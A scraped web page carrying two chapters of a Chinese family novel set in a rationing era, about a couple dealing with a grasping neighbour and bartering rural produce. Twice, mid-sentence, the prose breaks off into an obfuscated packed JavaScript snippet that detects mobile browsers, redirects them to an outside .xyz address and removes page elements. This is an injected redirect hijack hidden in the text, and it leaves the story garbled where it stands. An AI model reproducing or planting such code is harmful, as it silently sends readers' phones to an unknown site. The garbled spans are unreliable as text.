张怀民转向儿子:“沾了你的光啊?”“爸爸不要客气!"团团递给他一个白馒头,“爸爸吃!”苏笑笑纳闷:“啥时候跟你爸这么好?”张怀民不想再从儿子口中听到“我的军人爸爸”几个字,抢先道:“先吃饭。” 14、以物换物 虚掩的大门被推开,张怀民朝南看去,进来个五十来岁的女人,脚步很轻,神色拘谨,衣服干净,个头不高,也不知道为什么,脑海里突然蹦出几个字——旧社会的太太。张怀民确定张家没有这样的亲戚邻居,他对来人也没什么印象:“笑笑,这不是咱家亲戚吧?”"哪有亲戚一大早上门的。”苏笑笑放下勺子,“你先吃,我去看看。" 团团好奇,扒着饭桌起身朝外瞅:“我知道,爸爸,她是许奶奶,许奶奶家——”叽叽喳喳的小话痨叫的张怀民头疼,夹个土豆片塞儿子口中:“听话,我们先吃饭。”团团听军人爸爸的话,拿起勺子喝鱼汤。张怀民没带过几天孩子,但他有常识,担心团团喝到鱼刺,让团团先吃鸡蛋,他把鱼刺挑出来。 苏笑笑到院里,没请许慧娟进去,许慧娟依然看到屋里有个男人:“来客了啊?”“团团的爸爸回来了。”许慧娟不懂此话何意—— 张怀民常年不着家,许慧习惯了苏笑笑一个人带孩子,就像没了丈夫的孤儿寡母。昨儿请苏笑笑帮忙,没人照顾团团,还请赵大妈看着。到医院苏笑笑也没提过张怀民。以至于许慧娟不由得重复:“回 来了?" “昨晚回来的。”苏笑笑明知故问,“许婶找我啥事?” 许慧娟面露迟疑,朝堂屋看一下。 苏笑笑:"别管他。这个家我当家。" 声音不大,耳尖的张怀民还是听见了。张怀民要是在乎谁当家,也不会那么好说话——任由儿子姓苏。他在家不在意,不等于在外人面前也不要面子。张怀民小声问:“你妈什么时候变得这么厉害?” “妈妈厉害啊。”团团想也没想就说。 张怀民噎了一下,他跟个连“老爹”和“老子”都分不清的小屁孩说这些干嘛。 苏笑笑见许慧娟依然犹豫不决,心说矫情什么啊。不过她面上不显:“许婶,说啊。这里又没外人。” 许慧娟支支吾吾地说:“其实不该麻烦你,这,我也不,也是没有别的办法。” “出啥事了?” 许慧娟一听苏笑笑主动关心她,瞬间不结巴,“有红糖鸡蛋吗?借我点给你弟妹补身子。” 苏笑笑心说果然是为这事。 张怀民朝院里看看又朝碗里看看,一时想问“还有哪个弟妹?”又想问“煮熟的荷包蛋行吗?” 苏笑笑惊讶:"就这事?许婶,你没备啊?" 言外之意,哪有你这么当老婆婆的。 许慧娟想过苏笑笑像赵大妈一样痛快,也想过苏笑笑果断拒绝,唯独没想到苏笑笑质问,以至于被她问住。 "嗳,不是,我说许婶,医生跟你说过弟妹的预产期吧?咋不早点准备?" 许慧娟的脸微热:"昨儿想去买,正好赶上你弟妹要生,就没去成。" "昨儿都要生了你才想到买?" "不算定量啊。" 算定量也好弄。你可以买瓶麦乳精跟人家换啊。上面不许私下交易,对于以物换物一直静一只眼闭一只眼。”苏笑笑摇头,“真不是我说您,许婶,城里换不到可以去乡下。你家有没有农村亲咸?拿 几尺布或者买两身年轻人结婚穿的衣服,到亲戚家,别说鸡蛋,野鸡蛋野鸭蛋也随你挑。" 许慧娟:“其实我想过,想过两天你弟妹身体好点,我就去看看。” “劝你还是尽快吧。”苏笑笑道,“您来得不巧,昨儿买的一斤鸡蛋,中午做两个,晚上做几个,今早又做仁。但凡你一早过来,我就不做了。” 许慧娟蓦地直视她,神色错愕:"一斤,都都做了?" “我家人少分得过来,不用算着一人一个或半个,所以我挑的鸡蛋大。你想想一斤能有几个?”苏笑笑回头问:“团团,吃的什么?” 团团习惯性回答:“鸡蛋啊。” 苏笑笑转向许慧娟,一副爱莫能助的样子。许慧娟期期艾艾地问:“那红糖?” “您往这儿看。”苏笑笑推开厢房门,“我娘搬的干干净净,破凳子都没留下,能给我留红糖?何况我弟妹也快生了。” 刘旭结婚时刘大军高兴,叫大家都来吃喜糖。许慧娟跟赵大妈来过,看到屋里柜子箱子椅子啥都有。 如今里头啥也没有,许慧娟震惊。 苏笑笑:“许婶,这个时候去供销社买到东西就下乡,不耽误中午回来做午饭。” “那我去供销社看看。”许慧娟说完告辞。 苏笑笑送她到门外,关上大门转过身就翻个白眼。 张怀民看得一清二楚,心说她还有两幅面孔啊。 等人到堂屋,张怀民问:“我刚想起来,她家是不是在赵大妈后面?” 苏笑笑点头:“昨晚不是好奇我怎么把团团一个人留在家中?”接着从她昨晚听到敲门声说起,一直说到她回来发现大门开一点,以为进贼了。 苏笑笑说的不快,团团听得明白,气的扔下小勺子:“妈妈,你骗我!你说是赵奶奶的门响!” "不这样说,你非要去开门,她把咱家的鸡蛋和鱼拿走,今早你喝西北风?" 团团想不通:"为什么拿我们的鱼和蛋啊?" “她家也有个大肚婆,跟你舅妈一样,要补身体,我不给,会说我心狠。懂了吗?” 团团懂,以前刘大军经常拿类似的话哄他,"许婶大坏蛋!" 苏笑笑差点呛着。 张怀民赶忙拿走她面前的碗:“小心点!团团,出去不能这样说!” 团团撅着小嘴不理他。 苏笑笑缓过气:“团团,许婶要是生气打你,你打不过她。虽然爸爸妈妈可以帮你,可你也挨到身上了啊。” 小团团点点头,表示听见了。 张怀民递给苏笑笑个馒头,“菜快凉了。”而他实在好奇想问,“这个许婶找赵大妈借了还找你,她家是一点没准备?” 苏笑笑:“昨天儿媳妇要生了,一时找不到人送她儿媳妇去医院,急得要给赵大妈跪下,说明她在意儿娘妇,或者在意她肚子里的孩子。为了孩子有奶吃,也会好好伺候儿娘妇。” "你的意思准备了?那还找你们?" 苏笑笑道:“谁嫌好东西多啊。” “这话好像借了不用——”张怀民看向苏笑笑,苏笑笑点头。张怀民惊愕,也愈发困惑,“许婶看起来不像。” 苏笑笑:“看起来待人客气有礼?也许是真的。光说借不说还,可能认为她儿媳妇需要,我们应该同情她借给她,她不还我们也该理解。” 什么乱七八糟的理解?张怀民刚刚吃下去的鸡蛋险些吐出来。 苏笑笑夹一片土豆给儿子,发现他一小块馒头吃了半天还剩一小块:“苏团团,馒头不吃完,以后别想我做这么多好吃的。”团团张大嘴巴把那一块馒头塞嘴里。 张怀民顾不上思索许婶是什么样的人,戳一下儿子的脸:“撑破了?”团团朝他手上一下。 苏笑笑:“只要他吃,别管他怎么吃。” 张怀民把鱼头夹自己碗里,鱼鳃内送儿子碗里。小孩嫌鱼肉没味儿,扔妈妈碗里。苏笑笑的鸡蛋只吃了少许蛋白,扔一块鱼进去肯定串味。苏笑笑瞪眼儿子,小孩慌忙挖回去。苏笑笑不想吃了,碗给 他。 团团不嫌弃妈妈的口水,可高兴了。 张怀民怀疑儿子早就眼馋妻子的鸡蛋,故意来这么—出。张怀民去拿个空碗,把半条鱼夹出来给苏笑笑,故意对儿子说:“鱼才是好东西。”“爸爸,妈妈说鱼和鸡蛋都好。”团团一脸小无奈地给他爸个白眼,不要觉着团团小,团团不懂,团团啥都懂! 张怀民红了脸。 苏笑笑忍着笑吃好饭,试探着问:“我去邮局了啊?” 团团跟上。苏笑笑让他留下,小孩不愿意,苏笑笑想起一件事,去卧室拿二十块钱给张怀民说:“领团团买身新衣服,没有正好的就往大了买,稍微大一点就行。新衣服请妈帮团团改合身。我跟妈说 过。再问妈有没有空帮团团做几双鞋。别空着手,买点水果糖果。” 张怀民失笑,他比苏笑笑大好几岁,这点人情往来都不懂岂不成了废物,“团团,买新衣服还是去你妈单位?”单位什么时候都能去,新衣服不能错过呀。小孩拉着爸爸的手,冲妈妈挥手。 苏笑笑带着饭盒走到单位,单位刚开门。苏笑笑把装了馒头和菜的饭盒送到食堂,回到工位上写信。下午有个邮递员去南边刘家凹送信,苏笑笑请同事帮她把信送过去。 傍晚到家,看到院里晒的衣服和鞋,连她早几天穿的布鞋都刷的干干净净晾在墙边,忽然明白文中原主为什么一直觉着愧对男主。工资高干家务,还不介意孩子姓苏,又有刘大军衬托,男主简直绝无仅有。 男主从厨房出来:"回来了?我烧了几壶热水,用热水下面吧。" 竟然知道早早把炉子拉开。这一点也比刘大军强。苏笑笑把饭盒给他:“吃面啊?可是只剩一个鸡蛋,你吃还是团团吃?” 团团个小人从卧室出来:“我吃啊。” 苏笑笑吓一跳:"那么黑你在屋里干嘛?" 张怀民看到儿子就心累:“躲猫猫。这小孩中午不睡,下午不睡,玩了一天他还不累。你还说他需要补,我看是好东西吃多了!” 团团伸手要妈妈抱。 苏笑笑抱起他:"白天不睡晚上睡啊。苏团团,如果我做藕片呢?" “吃藕片!” 苏笑笑把小孩塞给张怀民,洗洗手去厨房削皮切藕。 醋溜藕片出锅,苏笑笑没舍得刷油锅,就着锅用热水煮一把挂面,扔下张怀民洗好的菜叶,出锅前放一点酱油和一点猪油,不如昨晚的面好吃,味道也不差。 以前家里人多,一做做一锅,原主不舍得放太多油,更别说还炒一盘藕就面条。团团第一次吃到这么有味的面,胃口大开,吃得饱饱的。 苏笑笑收拾厨房,张怀民把精力旺盛的孩子拽出去遛弯。 睡前,张怀民看着挡在中间的儿子,懊恼:"我觉着忘了什么。忘了给他买床!"苏笑笑以为他随口一说,见他又提这事:“真买啊?过几天就走了啊。”"买!又不是明年不回来。”张怀民道,“这里放一张,我爸妈那边放一张。"苏笑笑:“钱在高低柜里,需要多少你拿。”“那明天就带他去家具店。” 张怀民说到做 到,翌日上午,苏笑笑在邮局忙着给市民寄信,帮不识字的人填地址,张怀民叫儿子自己挑床。团团也想自己睡一张床,他想玩的时候不用被妈妈拘在怀里,所以团团有新床很高兴。 床到家他笑不出来,他老子把他的床放对面,不跟爸妈一个房间。 团团推着张怀民让他走,哪来的回哪儿去! 其实张怀民不放心三岁的儿子一个人睡,见小孩气得不认爹,就把他的小床抗到他和苏笑笑卧室,问:“你的床放哪儿?” 团团指着旧书桌。张怀民把旧书桌放窗台下,团团的小床横着放大床床尾。 张怀民把团团的小被子铺上,又拿出一条薄被子,还把他的小枕头拿过来:“今晚就睡这儿啊。” 团团斜着眼看他爸:"我要告诉妈妈,你不要我!" “爸爸逗你玩儿呢。”张怀民抱起儿子,“妈妈要你啊。你妈回来看到你的床在对面屋里肯定打爸爸。” 团团摸摸他老子的鼻梁:"疼吗?" 哪壶不开提哪壶?张怀民想把臭儿子扔出去。 小孩搂紧他的脖子:“爸爸,我饿了。” 张怀民:"去奶奶家。" 昨儿带着礼物上门,今儿就不用了。张怀民锁上门就和儿子去父母家蹭吃蹭喝。 四点多吃点老张给团团买的零食,爷俩回去,顺便去菜市场买一条鱼。 到家张怀民把鱼收拾好,苏笑笑正好下班回来。 晚饭后,张怀民刷锅洗碗,让团团扫地,苏笑笑擦桌子。一切收拾好他就催母子俩洗漱。看起来跟上战场似的。苏笑笑奇怪:“刚吃过饭急什么啊。”牵着团团,"出去玩一会儿?" 张怀民揉揉额头跟出去。 苏笑笑想起上午小叔来问她邻居缺什么,就叫张怀民看着团团,她去隔壁赵大妈家。 赵大妈刚吃过饭,一家人在堂屋唠嗑,院门也没关,苏笑笑直接进去。赵大妈给她一个小板凳,苏笑笑坐下。赵大妈问她大晚上过来是不是为了以物换物那事。 苏笑笑点头:“我叔家地少因为离山近,他说除了自家养的鸡,还有山鸡蛋。有时候还能弄到山鸡和野兔。不过兔肉太干巴,换这个不划算。” 赵大妈:“我也听人说过兔肉干。听说山鸡蛋好。以前的贵人就爱吃山鸡蛋。” “可是山鸡蛋小,论斤的话,一窝山鸡蛋也没一斤。” 赵大妈笑着说:“肯定得比鸡蛋贵点。你放心,不会叫你叔吃亏。咱们又不是一锤子买卖,今年换了明年就不换了。” 苏笑笑:"那就搁这周五?我轮休。" 赵大妈在家没事,啥时候都行,“听你的。” 苏笑笑:“前几天我小叔过来街坊四邻都看见了,不去我家来您家肯定奇怪。回头小叔先去我家院里,需要多少东西,在我家挑好再来这边?” 这么做两家都要承担风险,一旦被人告发,谁也甭想撇得干干净净。赵大妈对这个安排很满意,就把此事定下来。 苏笑笑从赵大妈家出来,团团靠他老子身上看着哥哥姐姐们玩儿。张怀民蹲在门口,全身写满了无趣。 “干嘛呢?”苏笑笑走过去。 团团立刻向妈妈告状:"哥哥姐姐说我小,不会玩儿。"赵大妈的大孙女跑出来:“团团,我们来玩儿。”团团飞过去。 苏笑笑在张怀民身边蹲下:“你呢?”我想早点上床啊。可左右都是孩子,张怀民老脸不要了也不好意思直言,“太累。第一次知道小孩精力这么好!” 苏笑笑深有同感地点点头。 上辈子不是看在钱的份上,谁给哥嫂看孩子啊。不过看习惯了,倒也习惯了。 苏笑笑:“那你去洗澡,早点休息?”“你呢?”苏笑笑:“团团玩半个多小时,回去洗澡正好睡觉。” 张怀民听出来,现在把小不点弄回去洗澡,洗完了他也不睡。这一天出了不少汗,必须得洗洗,张怀民便先去。 洗好澡,张怀民闲着没事,找出高低柜里的盐水瓶,灌 瓶热水给团团暖被窝。团团睡觉前他把瓶子拿出来。被子里暖暖的,团团好舒服,几分钟就进入梦乡。 张怀民和苏笑笑的夜晚才开始。 …… 周五上午,苏笑笑刚洗好衣服,准备跟张怀民商量晚点去他爸妈家,她大姑和小叔一人挑着一个扁担进来。苏笑笑惊得微微张口,怎么弄这么多?难道之前看错他们了。 张怀民听苏笑笑说过“以物换物”,见状转向她,这是换?这是去市场上卖!苏笑笑不动声色地上前:“大姑,小叔,不是走着来的吧?” “不是!”刘大姑放下扁担擦擦汗,见团团过来,从柳筐里掏出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811500|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布袋,正是苏笑笑给她装馒头的袋子,递给团团。苏笑笑怕他拿掉,接过去:“什么啊?”“柿饼。我自己做的。”刘大姑拿掉头上的毛巾扇风。苏笑笑见柿饼挺好:“留您卖啊。” 刘小叔嫌弃:“没人要。一棵树结上百斤,以前我们吃不完喂猪猪都不吃。嗳,这不是怀民吗?” 刘大姑下意识问:“哪儿呢?”朝厨房门口看去,“怀民?真是你啊?啥时候回来的?” 张怀民到跟前:"早 两天。累不累?" 刘大姑:“不累。你挺好吧?” 张怀民点头:“我在舰上没什么危险。”接过苏笑笑递来的柿饼,他随口问,“柿饼也没人要?” 刘大姑:"收购站没收过这东西,不知道咋定价。" 苏笑笑忽然想起什么,听到脚步声,抬眼看到赵大妈进来,问她知不知道哪家供销社大胆到敢抢收购站的东西。 这事赵大妈知道,前两天跟街坊在胡同里聊天,说肉票没了,孩子肚子里没了油水就爱吃饭,不知怎么就扯到那家供销社。 苏笑笑对她大姑和小叔说:“回头去问问他们要不要,要的话就在你们那边收购站门外等他们。” 刘大姑怀疑她听错了:“当着收购站的面卖给供销社?” 苏笑笑点点头:“也不知道人家怎么操作的。兴许供销社主任是哪个老将军的儿子,这种为农民增收又丰富了市民餐桌的好事上面干脆睁只眼闭只眼。” 苏笑笑递给赵大妈一个柿饼:“您尝尝。” 赵大妈接过去,看着四个大筐子,用开玩笑的语气说:“这些不会都是吧?” 刘小叔下意识摇头。 苏笑笑给团团半个柿饼:“你一半妈妈一半。” 团团高高兴兴接过去,苏笑笑叫他关一扇门。她小叔见状把东西拿出来,有晒干的红枣,还有有板栗和核桃。 要说这些小东西,还得从那瓶五粮液说起。 苏笑笑的大堂哥看到酒,说要是真的可贵了,一瓶五六块。刘大伯寻思着回门礼袁家肯定不敢弄假货。这瓶酒以后指不定能救命或者给小辈娶媳妇。 侄女这么有心,当叔叔大爷的也不能小气。早几天又听说笑笑要帮他们换杂粮,刘大伯就叫弟妹侄子侄女都上山捡山货,带过去留着团团慢慢吃。 刘小叔把几个布口袋给苏笑笑,赵大妈很意外,心说这姐弟俩跟刘大军真像异父异母。 苏笑笑也意外,那天给出去的那点东西竟然能换来这么多。她接过去就递给赵大妈:“您先挑,挑剩的是团团的。” 团团不要剩的! 张怀民一看儿子气鼓鼓要搞事,抬手抱起他,在他耳边说:“过几天还有。” 团团安静下来。 刘大姑不禁问:"老姐姐,这些野山货您也要啊?那,笑笑,去拿几个小盆,挑出来放盆里。" 苏笑笑把厨房盛菜的盆都拿出来。团团好奇想帮忙,苏笑笑抓几个核桃和红枣递给张怀民。张怀民把红枣塞儿子兜里,核桃捏碎,摊开手让小孩挑核桃仁。 赵大妈一看团团左手红枣右手核桃,就想到她的几个孙子孙女,于是每样挑两斤。挑好后叫刘小叔带着野鸡和野鸡蛋去她家算杂粮。 张怀民见苏笑笑没去,不禁问:“不去看看?” 苏笑笑:“赵大妈不至于贪这点小便宜。” 果不其然,过了一会儿,刘大姑过来,到苏笑笑身边小声说:“核桃、板栗和红枣她给的钱,跟商店一个价。” 赵大妈家没有那么多杂粮,给钱苏笑笑不意外:“大姑,只能收赵大妈的钱。别人要拿钱买,除非她把钱塞你兜里。” 刘小叔进来说:“怕有人给咱们下套?这事我们听说过,知道怎么应付。” 乡下人只是见得少,不等于傻。苏笑笑听了这话放心下来,“那剩下的都收起来吧。回头去收购站问问。” 话音落下进来一人,跟苏母年龄相仿,是苏笑笑家另一边邻居,她看赵大妈拎东西就猜到以物换物,所以进来就问还有什么。 刘大姑筐子里的东西确实打算去收购站支掉。听了苏笑笑的话意识到侄女不介意她私藏,干脆直接把野鸭蛋以及一些晒干的山货拿出来。又担心张怀民嫌她小家子气,对苏笑笑说:“打算实了给你妹做 一件身衣服。” 刘大姑说话的时候看了一下张怀民,张怀民主动问:“要定亲了?” “是的。”刘大姑见他关心她家,便不再拘着,“还得给她扯两根红头绳。” 邻居听到这话有个想法:“笑笑她姑,你等我一下。”回去十多分钟,拎袋衣服鞋出来,有大有小有补丁的少没补丁的多,“我去废品站问过,这些可以卖钱。换你的鸭蛋够了吧?” 刘大姑连连点头。 赵大妈怕邻居坏事赶忙过来,进院看到邻居往外掏衣服,让刘大姑挨个检查。赵大妈惊得张张口,到苏笑笑身边:“还能换衣服?” 苏笑笑颇无奈地笑着说:“我也是头回见。” 不巧被邻居听见,"你年轻见识少。以前的衣服都可以拿去当。" 刘大姑点头证实这一点。她见有几套衣服不用打补丁,还有几套可以改小给侄孙女穿,顿时觉得占了大便宜,又从给苏笑笑的东西里头拿出一把干豆角。 邻居很高兴:“您太客气了。笑笑她姑,以后有什么东西尽管弄过来,我认识的人多,我帮你换。”随后在她耳边说一句,“用钱买也行。” 苏笑笑看清她的口型,脑袋突然炸开,看向张怀民,咱家不会变成传说中的黑市吧。 昨晚苏笑笑跟张怀民聊过刘家人,再看看姐弟俩今日带来的东西,很 明显知恩图报,就算以后把他家搞成黑市,也会把他们一家三口摘得干干净净。 张怀民微微摇头,低声说:"大姑心里有数。" 赵大妈眼尖也看见了,她在苏笑笑另一边,点头说:“没事的。回头我帮你姑盯着,不了解的人以物换物也不换。了解的心性不好的让他写收据。” 张怀民想起后面那位太太:"那个许婶换到了吗?" 苏笑笑:“管她呢。我把她儿媳妇送到卫生院累一身汗,又花钱给她买粥买包子,都不说给我送个喜蛋。” 赵大妈诧异:“你还给她买吃的?” 跟刘大姑聊天的邻居看过来:“给谁啊?” 赵大妈不介意浪费口水,从许慧娟儿媳妇发动那天说起,一直说到前几日找她们借糖和鸡蛋。 邻居听完直摇头:“这人啊,你说她不通人情世故,她知道求人。你说她懂,该她有所表示就装死。以前就那样,谁问她什么她都说自己不懂。你要说你不是做过吗。她又说随便弄弄,也不知道对不 对,不好意思献丑。文绉绉的,说得好听!我可是在她手里吃过不少亏!" 赵大妈不禁说:"不会吧?" “你不知道?”这位邻居也是个快言快语的,“你家孩子多穷啊。她家人少,儿子有本事,跟你走近你不得找她借钱借粮?”转向苏笑笑,“以前你爷当家,知道找你没用,你爷又不给她面子,所以不 敢往你跟前凑。" 张怀民轻咳一声。刘大姑问:“是不是着凉了?你看穿的,这么冷的天坎肩哪——” “这么多人啊?” 邻居回头,许慧娟进来,手里拎着小包。邻居看向苏笑笑,她也来换东西吗。苏笑笑转动眼珠子。邻居明白,换东西的只有她和赵大妈。邻居故意问:“拎的什么啊?” 15、随军 许慧娟去供销社一问才知道麦乳精两块多一瓶,而罐头只要一块多。衣服很贵,有七八块的,有十几块的。她就买了两瓶罐头。罐头拿到家,她丈夫不许她找乡下穷亲戚换鸡蛋,担心人家以后挟恩图报。 前几天儿子回来,她给她儿子一瓶罐头叫他找同事换鸡蛋。能不能换到得到明天下午儿子回来才知道。刚听人说苏笑笑家来了俩人,跟赵大妈换了许多东西,许慧娟担心儿子没换到就来看看。 到院里看到篮子里的蛋,许慧娟心想,这次终于来巧了。她打开包,谦虚地笑笑,“一瓶罐头。” 团团转向爸爸,眼里写满了“罐头啊”。张怀民当没看见,故意问:“许婶去走亲戚?”许慧娟的笑容凝固。 性格直爽的邻居想笑,顺着张怀民的话说:“既然许大姐有事,那你忙。”拎起篮子,“我先回家。”许慧娟惊得张张口,“这些——鸡蛋是你的?” “不是鸡蛋,是鸭蛋。”邻居仗着她不清楚,“刚买的。看笑笑家热闹,过来看看。你要啊?我想想多少钱一斤。” 邻居思索片刻,多说了一毛钱。 许慧娟天天买菜做饭自然知道菜市场的鸭蛋价格,一听贵这么多:“啥鸭蛋啊?” "不清楚。就说这鸭蛋好。总共只有这么一点。好像供销社的工作人员去乡下收的。" 那天菜市场人多,苏笑笑没注意,现在想想买鸡蛋的时候这位邻居也在排队。不怪她能扯出供销社。 许慧娟听了这话不禁说:“原来是在供销社买的。供销社的东西都贵。菜市场便宜。” “你去菜市场吧。”邻居说完拎着蛋就走。 许慧娟迟疑片刻,人出了院门拐走。许慧娟张张口,不知道说什么,转向苏笑笑:“这两位是你家亲戚?” 苏笑笑点头:"我姑和我叔,听说怀民在家,过来看看。" 许慧娟瞬间明白,以探望张怀民为借口过来换东西,“笑笑姑,您好,你有没有带鸡蛋啊?” 刘大姑扒开筐子叫她自己看。 许慧娟很失望,不经意间瞥到盆里的红枣,她眼睛亮了,正想说话,隔壁邻居去而复返:“许大姐,怎么还在这儿?” 许慧娟笑笑:"我找笑笑有点事。" 邻居明知故问找笑笑什么事。 许慧娟不好意思撵人,只能说她想用罐头换红枣。 团团高兴地搂住爸爸的脖子,眨了眨眼睛,罐头!我的! 苏笑笑瞥到儿子兴奋的小模样就想开口,听到她邻居问:“给你儿媳妇补身子吗?还是你这个婆婆好啊。对了,赵大姐,红枣多少钱一斤来着?” 赵大妈前几天刚打听过,想也没想就把供销社的红枣价报出来。 供销社和菜市场的红枣都不许挑,刘大姑让她一个个挑,赵大妈觉着报低了,许慧娟却认为贵了,脸色微变。邻居见状故意说:“这个罐头我知道多少钱 瓶。赵大姐,您家有秤吧?劳烦您拿来按照罐 头的价秤几斤。” “这个,我——”许慧娟不想要,“我问问我家先生,我不当家。你们先忙。”说完就走。 赵大妈恍然大悟:“她天天说不当家,是这个不当家啊?” 邻居:“您才知道?我保证她一去不回!” 刘大姑端起地上的盆:“笑笑,赶紧收起来。”刘小叔端起核桃和板栗送去厨房。 团团眨巴眨巴大眼睛,看看妈妈又看看爸爸,我的罐头呢?张怀民捏捏他的脸:“奶奶家有。回头去奶奶家吃罐头!” 赵大妈:“团团想吃啊?难怪刚才小脑袋跟拨浪鼓似的,这里瞅瞅那里看看,着急得不行。”团团被说害羞了,小脸埋进爸爸脖颈窝。 刘大姑把筐子整理一番,发现还有两包山货。她打开看一下没压碎就要给苏笑笑,邻居问:“这是野木耳野蘑菇吧?” 刘大姑点头:“在山上捡的。不脏,挑拣过。” 邻居低头闻闻,确实不是农场人工种的,她低声问:“怎么换?” 这个是给苏笑笑的,刘大姑没想过换:“你问笑笑。”苏笑笑让邻居看着给。邻居不知道苏笑笑家今天可以以物换物,所以没打听这些土特产的价格。 赵大妈知道,不是刻高打听的。她家还有国女送的山货。前些天在菜市场看到山货,感觉没国女给的好,就多喘问一下价格。赵大妈把价格告诉邻居,邻居据量掂量,总共不到一斤就算一斤,按照菜市 场的价格给钱。 刘大姑摆手不要钱。 邻居塞她兜里:“你们不说我们不说谁知道!”刘大姑惊得微微张口,原来笑笑说的塞兜里是真的啊。 苏笑笑见状笑了笑,问她姑和她叔啥时候回去。 两人第一次出来心里没底,家人也跟着悬着心,表示想早点回去。苏笑笑担心俩老人半道上被抢,叫张怀民陪二老乘公交。团团一听坐车,搂着爸爸的脖子不放,张怀民只能带上他。 招笑的是张怀民陪二老刚走,许慧娟又来了,见院里只剩苏笑笑和赵大妈,惊得愣了片刻,不敢置信地问:“你姑走了?” 苏笑笑点头:"正好不耽误去收购站卖掉。" " 什么时候还来?" 苏笑笑:“不好说。也许十天半个月,也许到年底。农家事多,就算约好时间也不一定能过来。” 赵大妈有个国女在乡下,田女又常来信汇报她家情况,所以一辈子没下过地的赵大妈也能说几句,“农村不是庄稼种下去就没事了。要除草要除虫,还要给生产队放牛,挖沟修路,不到下大雪闲不下 来。” 许慧娟不懂,无法反驳,讷讷道:“这么忙啊。”苏笑笑很是体贴地说:“回头再来我通知你?”赵大妈扭头瞪一眼苏笑笑,说啥呢你! 许慧娟魂不守舍,不曾注意到她,挤出一丝笑:“只能这样了。” 苏笑笑点头:“您慢走。我就不送你了。” 许慧娟慢吞吞走远,赵大妈忍不住说:“怎么能说通知她啊。” 苏笑笑:“过几天我就走了。” 赵大妈愣了一瞬:"去,去哪儿?”忽然想起什么,“随军啊?"苏笑笑点头:"怀民这次回来就是接我俩去部队。""你的工作怎么办?"“说可以转过去。要是过几年转业,他争取回原籍我还能转回来。” 赵大妈放心地直点头:“能转回来就行。等等,你走了,你姑和你叔再来——” “这事我仔细考虑过。”其实并没有。苏笑笑刚想到,还是因为她叔和她姑很客气,不止给她几包山货,还有他们晒的茄子干和干豆角,“我把堂屋门和卧室门锁上,厨房和对面厢房就不锁了,万到 这里不巧下大雨,他们可以在屋里等雨停了再走。" 赵大妈不禁说:“街坊四邻要问你不在家,你姑你叔来干嘛,我就说屋顶漏了,带着家伙什帮你补屋顶。”"可以。”苏笑笑突然想到一点,“他们经常过来我爹娘也不敢趁我不在搬过来。"赵大妈疑惑:"你爹娘不是有房子?"“两间筒子楼哪有在这儿舒服。”苏笑笑道。 赵大妈的二儿子单位分给他的一间宿舍就是筒子楼,离二儿媳妇上班的火柴厂不远。儿媳妇加班就去那边住,平时挤公交车回家。 赵大妈几年前提过,孙子孙女她照顾,叫儿子儿媳住宿舍,可两人宁愿跟一大家子挤一块也不在住那边。因为洗澡要排队,还要在楼道里做饭,一眼没看见不是少 根葱就是少半头蒜。 苏笑笑的娘舒坦了半辈子,肯定过不惯那么逼仄的日子。苏笑笑带着孩子随军,没法说来来说走走,她妈仗着这一点很有可能搬回来。 可是苏笑笑的姑和小叔也不可能隔三差五过来。赵大妈问:"叫你公婆时不时来看看呢?" 苏笑笑:“怀民的弟弟和弟媳妇工作忙,孩子小离不开人,我公公得看着她,我婆婆要一天到晚得准时准点买菜做饭。” 赵大妈想想自打她有了孙子孙女想回娘家看看都得挑星期天,“给我留个你公婆家的地址。我是邻居没法出面,回头看到你爹过来就去通知你公婆。” 苏笑笑道一声谢,立刻回房写下她公爹家地址。 这个时候是上班时间,路上没有四处乱窜的自行车,公交车开得快,一个小时张怀民就回来了。苏笑笑把她叔他姑给的干货挑出来一半,用两个布口袋装着就和张怀民领着团团去公婆家。 婆婆罗翠红一看到苏笑笑拎着包裹过来就不由得皱眉。但等人到跟前,她就面带微笑问团团冷不冷。团团摇了摇头要下来。 苏笑笑把东西递给婆婆。罗翠红接过去就忍不住唠叨:“别每次来都买东西。多少钱经得起这么买?”苏笑笑听出婆婆不是客气,是真不喜欢她回回带东西,"不是买的。" “不是?”罗翠红打开布袋,一看里头有红枣、板栗和山核桃,另一个布袋里是晒干的菜,“你——”冷不丁想起儿媳妇有一门农村亲戚,“刘家给的?” 苏笑笑点头,顺便说出她的打算—院门、厢房和厨房钥匙给刘家,再给婆婆一套钥匙,麻烦婆婆每几个月过去一次打开堂屋和她卧室门透透气,以免里头的家具衣服发霉。 罗翠红听她说完便问:“决定好了?”苏笑笑点头应一声。 罗翠红没劝,没劝一句,只说“决定好了就行。”然后让儿子儿媳进屋。团团一看屋里没人玩儿就往外跑,张怀民叹着气去追儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811501|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 在张家用过午饭,苏笑笑一家三口打道回府。到家没啥事,苏笑笑把她和儿子的衣服拿出来,留下三成留着回来穿,剩下的都带走。 翌日,苏笑笑像往常一样上班,直到十月底。 十一月初,苏笑笑找领导办手续。 领导自然不敢为难军属,也没必要为难,又不是苏笑笑叫他安排工作。 手续办妥,苏笑笑就向同事们辞行。 王英很不舍,拉着她的手絮叨:“刚来几天就走啊?”没容苏笑笑解释,“也好。夫妻哪能一直分居。”又问,“还回来吗?” 苏笑笑不清楚,倒是听公婆念叨过几句,“听说部队越往上职位越少,能坐到营长以上职位的都不缺能力,他哪抢得过有背景有人脉又不比他差的啊。也许过几年就回来了。” 